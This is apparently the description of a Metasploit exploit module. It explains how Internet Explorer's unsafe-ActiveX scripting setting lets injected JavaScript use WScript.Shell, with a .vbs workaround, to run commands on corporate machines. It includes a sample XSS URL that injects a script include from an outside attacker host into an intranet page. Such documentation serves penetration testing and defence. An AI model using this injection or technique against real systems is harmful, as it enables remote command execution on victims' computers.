				This exploit takes advantage of the "Initialize and script ActiveX controls not
			marked safe for scripting" setting within Internet Explorer.  When this option is set,
			IE allows access to the WScript.Shell ActiveX control, which allows javascript to
			interact with the file system and run commands.  This security flaw is not uncommon
			in corporate environments for the 'Intranet' or 'Trusted Site' zones.  In order to
			save binary data to the file system, ADODB.Stream access is required, which in IE7
			will trigger a cross domain access violation.  As such, we write the code to a .vbs
			file and execute it from there, where no such restrictions exist.

				When set via domain policy, the most common registry entry to modify is HKLM\
			Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
			which if set to '0' forces ActiveX controls not marked safe for scripting to be
			enabled for the Intranet zone.

				This module creates a javascript/html hybrid that will render correctly either
			via a direct GET http://msf-server/ or as a javascript include, such as in:
			http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
			</script>.
